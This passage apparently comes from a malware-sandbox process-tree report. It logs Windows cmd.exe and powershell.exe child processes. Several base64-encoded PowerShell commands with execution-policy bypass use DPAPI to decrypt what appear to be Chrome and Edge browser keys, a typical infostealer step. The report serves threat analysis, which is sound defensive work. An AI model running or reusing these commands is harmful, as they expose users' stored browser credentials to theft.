JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAB0AHIAeQAgAHsAIAAkAGUAbgBjACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAUQArAC8AOQA0AEgAQQAvAFkARQB5AEkAKwBRAE4ARwBRADIAdgBaAHAAQgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBGAFEATABPAHIAeQBLADMAcABqAFYASwAwADIASwBVAEUAbQB2AGIARwBFAEIAMgBvAHYASABXAFoATgBkAGEARwBFAHMAUwBuAE0AMwBqAFoAeABsAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAEEAUQBtADYAdABMAEMAVgA3ADQAQwBWAFMAbQBGAGcATgBiAE4ANwBnADIANABsAFIAMQBaADkAVgAxAHAAOQBXADMAdgBvAGoAVQBVAG4AUwBOAEcAawBBAEUAQQBBAEcAeAB2AGsAZgB5AEUAOAAvAEQAVABrAE0AUgBDADgAbQAzAEEAcgBUADAAZgA3AHEANAB5AHoAeABEAFYATABQAEMASgBGADUAZQBKAEsAaABGAHYAYgBqAGkATABPAHYAYQB6AGIAMABRADEANgA3AGoASgBFAEMAWQBRADAANAB0AFIAMwB6AEMAeABqAHQALwBTAGYAUABJADQAMABBAGEASABMADcAVgA3AHAAUgB2ADgARwBzAGUAZQBRAEsAMgBKAFYAOQBkAEQAbQBIAFIAYwBZAFgANwA3ADgAYgBOAHEAVgBrAGkAcwBXAEIARQBTAEwANQBUAHMASQBlAEEAbAA0AE0AdwBhADIAMwBVAEcAWAAwADMAdAA5ADIAbQBIAFkAbgB4AHgAMgAzAG8AbgAvAFIAVgBFAEkAaABJADUAVABkADEATwBxAG0AdQAzAFEAbwB3AHcANQBBAEgAZABGAHkAaABTAHkAbgByAE8ASABWAFAAbgBSAEwAYgA3AHoAYgBIAHEAQQA2AC8AdABOAFcAQQA3ADQAbABjAGkARwBOAE8AegBCAGwAWQBZAFIAKwBKAEwAZABhADgAcgBKAGUANgA2AEcAMgBnADgANgBIAGYAdQBNAFYAQgBlAEUAOABZAHMAZQBCAG8ASwBVAFgAMwAzAGoATgBpAGwAeABKAEEAcgBkAEcAYwBvAGwAbABvAHYARQBnAGsAUwBmAEkAYQBXAGkAUgAxAGEAQQA1AEEAOQB1AFAAQwBvAEEATQBxAFkAdAAxAGQARQBOAFYANQBUAGMAcQBCADYANABxAE0ARABOAC8AdABPAEcARwBJAFoAaABKAC8AcQA4ADIAWABGAGIANQBvAEwATgBEAEQAdgBmAGYAKwBwAFYAegBPAGwAUgBCADkASQA3AEoAQgBBAGcAZQA2AEQAdQBwAGsAZgBHAEQASgBuAGQAegBHAEEAMgBSAFEAawBFAHEANQBjAHQAZQBnAGgAYgA2AG0AbwBrAFgAWQBsAGkAYwBxAEMAdABVAEcAUQBpACsAWgBUAEYAQgBYAEwAaQBiAEYALwBGAGkAdQA3AGcAOABxADkAZgBGAE8ANgAxAE0AOQBYAGQAYQBnAE0AVQBSAEwATABlAFUAUwAzAHEAUgBqAE8AUgA0AHIASQBvAEEAWABQAHQAawBsAEcAeQA3AFMAUQBvAEcARgAzAGMAagBXAFoAOQByAHUAaQBzAHoAagB3AGMAMABNAGoALwA0AHQANABYAGIAZQBtADAAbQB1AHAAbwA5AG8AOQArAHUANwA4AGgAcQA2AFkATABvAGEAZgBFAC8ANgBtAHYATABWAHMAdQBVAE8AagA5AGEAZgB0AGgATwAwAEwAawBZAGoASgB3AFkAQgBGAFQAZgB0AEEAQQBBAEEAQQBpAFYASABnAEEARQBOAEMANgBFAE8ATQBNADcAeQBFAE8ASQAxADUAMABHAEwALwBzAFQAdAB0AC8ASwB2AGEARQBiAGIAUAB3AE4ATABnAHAANgBsAGIAZgA4AGUAZgB1AHgATwBQAEMAZwB5AHgAWQBtAC8AMQBBAFYAbwBEAGQAZQBNAGcAVQBlAHEAegB0AEEASwBGAHgATABsAGYAegBkAHUAYQBrAGcAPQA9ACcAKQA7ACAAJABkAGUAYwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwApACAAfQAgAGMAYQB0AGMAaAAgAHsAIAAnACcAIAB9AA==
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2860
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "python --version"
          2⤵
          • Executes a command shell one-liner
          PID:3120
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "python3 --version"
          2⤵
          • Executes a command shell one-liner
          PID:4144
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "py -3 --version"
          2⤵
          • Executes a command shell one-liner
          PID:4624
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQB4AFAAZgBQAFIAbQBvAGoATABhAHAAUQBIAEkAeQBlADMASwBpAGgAWgB4AFEAVABjAHYAcQBTACsASgBtAG0AdQAxAG4AWQBjAFAAaQBUACsAUAA0AEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAEYAWgBCAHkAegA4AEQAVQBXAEoATABmAG4AdQBHAGwAMwBLAEkAUABXAEoARwA5AHoATgBsADgAMQBwAEEAagBlAGsAMQB0AEcASgB0ADQAVwBwAEEAdwBBAEEAQQBBAHIAcAB1AFcANABZADcAdABLAEkAUwBSAG4AOAAvAEkARgBsADcARgAvAE0ATQBMAHoAdQA0AGsAbgBLADIATwBmAE0AUAByADYAZwBLAEkAYwAzAGwAcwBUAGkAcwBiAE4AbABPAFEAdwBHAHIAaABwAC8AUwB0AC8ARQBEAGoAUQBBAEEAQQBBAEoAbgBmAHQAWQBmAHMAYwBTAGUARwBzAC8ATABTAEwANABZAEsAYwBQAHAASgBUAEUAbwBhAEMARwBHAGQASABFAHkAcQAxADYARQAvAEMATgBVAFMAbQBXAGkATgBJAEQAZwBZAG4AeABrAG8AVABwAFMASwBTAGIAZQBOAHIAVwByAEsAcABoAEwAeAB4ADUANwBlAE4AcABDAGgAagBIAFIAawAyAEsAWQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA=="
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1704
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQB4AFAAZgBQAFIAbQBvAGoATABhAHAAUQBIAEkAeQBlADMASwBpAGgAWgB4AFEAVABjAHYAcQBTACsASgBtAG0AdQAxAG4AWQBjAFAAaQBUACsAUAA0AEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAEYAWgBCAHkAegA4AEQAVQBXAEoATABmAG4AdQBHAGwAMwBLAEkAUABXAEoARwA5AHoATgBsADgAMQBwAEEAagBlAGsAMQB0AEcASgB0ADQAVwBwAEEAdwBBAEEAQQBBAHIAcAB1AFcANABZADcAdABLAEkAUwBSAG4AOAAvAEkARgBsADcARgAvAE0ATQBMAHoAdQA0AGsAbgBLADIATwBmAE0AUAByADYAZwBLAEkAYwAzAGwAcwBUAGkAcwBiAE4AbABPAFEAdwBHAHIAaABwAC8AUwB0AC8ARQBEAGoAUQBBAEEAQQBBAEoAbgBmAHQAWQBmAHMAYwBTAGUARwBzAC8ATABTAEwANABZAEsAYwBQAHAASgBUAEUAbwBhAEMARwBHAGQASABFAHkAcQAxADYARQAvAEMATgBVAFMAbQBXAGkATgBJAEQAZwBZAG4AeABrAG8AVABwAFMASwBTAGIAZQBOAHIAVwByAEsAcABoAEwAeAB4ADUANwBlAE4AcABDAGgAagBIAFIAawAyAEsAWQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA==
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2196
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMADcAZQAzAEkAawA0AFUASwB0ADUARgA2AHEAOQBVADcALwBDAHMARQBTAEYAWABjAEQAWQBmAEkAWQBKAGMAMAB1AGQAMQBiAHQAcgBMAGcATgBsAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAEEALwBIAHIAeQArAEIAcwBUAGYARgA5AEcAbQBtAEEAUQAxAHYAWgBDAEkAUABOAFgAYgA0AGEAVwBWAGQAYQBVAGMAYwBYAEgAegBYAFQARgBuAFIATQBBAEEAQQBBAEwASwBlAEUAQwBxADIAUQBLAHkAbQA3AEIAQgBvAFMARABWAEwATAA2AHIAUQA0AHIAYgA1AFIANABmAE0AOAArAG0AaAAxAHgAaQBwAEsAcgBoAHQARABEAFYAeABPAEMAZgByAFcAUABJAEEATQBCAHkAbgBKAHEAcgB1AHEAMABBAEEAQQBBAEIAVgBsAGwASgBkAEwAawB4AG8AQgBpAHcANAB2ADIAVQA5ADIAVABMAGQAZQA3AFoATwBGADEATwBkAE4AOQB5AGkAdAB4AEkAKwBuAHEAQwB6AEQARAA2ADgAZgA1AG4AVgBXAGoAbQA3AFAASQAyAEcAbABrAGUALwBHADQAYQBBADgAZAA4AHcAYQBjAGQAZABVADgAMgBpAFUAaABpADAARABlAHEAcQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA="
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3804
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAYwBBAEEAQQBBAFIAdwBCAHYAQQBHADgAQQBaAHcAQgBzAEEARwBVAEEASQBBAEIARABBAEcAZwBBAGMAZwBCAHYAQQBHADAAQQBaAFEAQQBBAEEAQgBCAG0AQQBBAEEAQQBBAFEAQQBBAEkAQQBBAEEAQQBMADcAZQAzAEkAawA0AFUASwB0ADUARgA2AHEAOQBVADcALwBDAHMARQBTAEYAWABjAEQAWQBmAEkAWQBKAGMAMAB1AGQAMQBiAHQAcgBMAGcATgBsAEEAQQBBAEEAQQBBADYAQQBBAEEAQQBBAEEAZwBBAEEASQBBAEEAQQBBAEEALwBIAHIAeQArAEIAcwBUAGYARgA5AEcAbQBtAEEAUQAxAHYAWgBDAEkAUABOAFgAYgA0AGEAVwBWAGQAYQBVAGMAYwBYAEgAegBYAFQARgBuAFIATQBBAEEAQQBBAEwASwBlAEUAQwBxADIAUQBLAHkAbQA3AEIAQgBvAFMARABWAEwATAA2AHIAUQA0AHIAYgA1AFIANABmAE0AOAArAG0AaAAxAHgAaQBwAEsAcgBoAHQARABEAFYAeABPAEMAZgByAFcAUABJAEEATQBCAHkAbgBKAHEAcgB1AHEAMABBAEEAQQBBAEIAVgBsAGwASgBkAEwAawB4AG8AQgBpAHcANAB2ADIAVQA5ADIAVABMAGQAZQA3AFoATwBGADEATwBkAE4AOQB5AGkAdAB4AEkAKwBuAHEAQwB6AEQARAA2ADgAZgA1AG4AVgBXAGoAbQA3AFAASQAyAEcAbABrAGUALwBHADQAYQBBADgAZAA4AHcAYQBjAGQAZABVADgAMgBpAFUAaABpADAARABlAHEAcQAnACkAOwAgACQAZABlAGMASwBlAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUAByAG8AdABlAGMAdABlAGQARABhAHQAYQBdADoAOgBVAG4AcAByAG8AdABlAGMAdAAoACQAZQBuAGMASwBlAHkALAAgACQAbgB1AGwAbAAsACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4ARABhAHQAYQBQAHIAbwB0AGUAYwB0AGkAbwBuAFMAYwBvAHAAZQBdADoAOgBDAHUAcgByAGUAbgB0AFUAcwBlAHIAKQA7ACAAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAZABlAGMASwBlAHkAKQA=
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:5416
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQB4AFAAZgBQAFIAbQBvAGoATABhAHAAUQBIAEkAeQBlADMASwBpAGgAWgB4AFEAVABjAHYAcQBTACsASgBtAG0AdQAxAG4AWQBjAFAAaQBUACsAUAA0AEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAEYAWgBCAHkAegA4AEQAVQBXAEoATABmAG4AdQBHAGwAMwBLAEkAUABXAEoARwA5AHoATgBsADgAMQBwAEEAagBlAGsAMQB0AEcASgB0ADQAVwBwAEEAdwBBAEEAQQBBAHIAcAB1AFcANABZADcAdABLAEkAUwBSAG4AOAAvAEkARgBsADcARgAvAE0ATQBMAHoAdQA0AGsAbgBLADIATwBmAE0AUAByADYAZwBLAEkAYwAzAGwAcwBUAGkAcwBiAE4AbABPAFEAdwBHAHIAaABwAC8AUwB0AC8ARQBEAGoAUQBBAEEAQQBBAEoAbgBmAHQAWQBmAHMAYwBTAGUARwBzAC8ATABTAEwANABZAEsAYwBQAHAASgBUAEUAbwBhAEMARwBHAGQASABFAHkAcQAxADYARQAvAEMATgBVAFMAbQBXAGkATgBJAEQAZwBZAG4AeABrAG8AVABwAFMASwBTAGIAZQBOAHIAVwByAEsAcABoAEwAeAB4ADUANwBlAE4AcABDAGgAagBIAFIAawAyAEsAWQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsAIABbAEMAbwBuAHYAZQByAHQAXQA6ADoAVABvAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABkAGUAYwBLAGUAeQApAA=="
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2812
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQAgAD0AIAAnAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAJwA7AAoAQQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5ADsAIAAkAGUAbgBjAEsAZQB5ACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwBBAFEAQQBBAEEATgBDAE0AbgBkADgAQgBGAGQARQBSAGoASABvAEEAdwBFAC8AQwBsACsAcwBCAEEAQQBBAEEAQgBoAFUATQBkACsAcQByAGsAawBxAEYATwBjAFgARABvADcAKwBHAFEAUgBBAEEAQQBBAEEAZQBBAEEAQQBBAFQAUQBCAHAAQQBHAE0AQQBjAGcAQgB2AEEASABNAEEAYgB3AEIAbQBBAEgAUQBBAEkAQQBCAEYAQQBHAFEAQQBaAHcAQgBsAEEAQQBBAEEARQBHAFkAQQBBAEEAQQBCAEEAQQBBAGcAQQBBAEEAQQB4AFAAZgBQAFIAbQBvAGoATABhAHAAUQBIAEkAeQBlADMASwBpAGgAWgB4AFEAVABjAHYAcQBTACsASgBtAG0AdQAxAG4AWQBjAFAAaQBUACsAUAA0AEEAQQBBAEEAQQBEAG8AQQBBAEEAQQBBAEMAQQBBAEEAZwBBAEEAQQBBAEYAWgBCAHkAegA4AEQAVQBXAEoATABmAG4AdQBHAGwAMwBLAEkAUABXAEoARwA5AHoATgBsADgAMQBwAEEAagBlAGsAMQB0AEcASgB0ADQAVwBwAEEAdwBBAEEAQQBBAHIAcAB1AFcANABZADcAdABLAEkAUwBSAG4AOAAvAEkARgBsADcARgAvAE0ATQBMAHoAdQA0AGsAbgBLADIATwBmAE0AUAByADYAZwBLAEkAYwAzAGwAcwBUAGkAcwBiAE4AbABPAFEAdwBHAHIAaABwAC8AUwB0AC8ARQBEAGoAUQBBAEEAQQBBAEoAbgBmAHQAWQBmAHMAYwBTAGUARwBzAC8ATABTAEwANABZAEsAYwBQAHAASgBUAEUAbwBhAEMARwBHAGQASABFAHkAcQAxADYARQAvAEMATgBVAFMAbQBXAGkATgBJAEQAZwBZAG4AeABrAG8AVABwAFMASwBTAGIAZQBOAHIAVwByAEsAcABoAEwAeAB4ADUANwBlAE4AcABDAGgAagBIAFIAawAyAEsAWQA9ACcAKQA7ACAAJABkAGUAYwBLAGUAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBQAHIAbwB0AGUAYwB0AGUAZABEAGEAdABhAF0AOgA6AFUAbgBwAHIAbwB0AGUAYwB0ACgAJABlAG4AYwBLAGUAeQAsACAAJABuAHUAbABsACwAIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBEAGEAdABhAFAAcgBvAHQAZQBjAHQAaQBvAG4AUwBjAG8AcABlAF0AOgA6AEMAdQByAHIAZQBuAHQAVQBzAGUAcgApADsA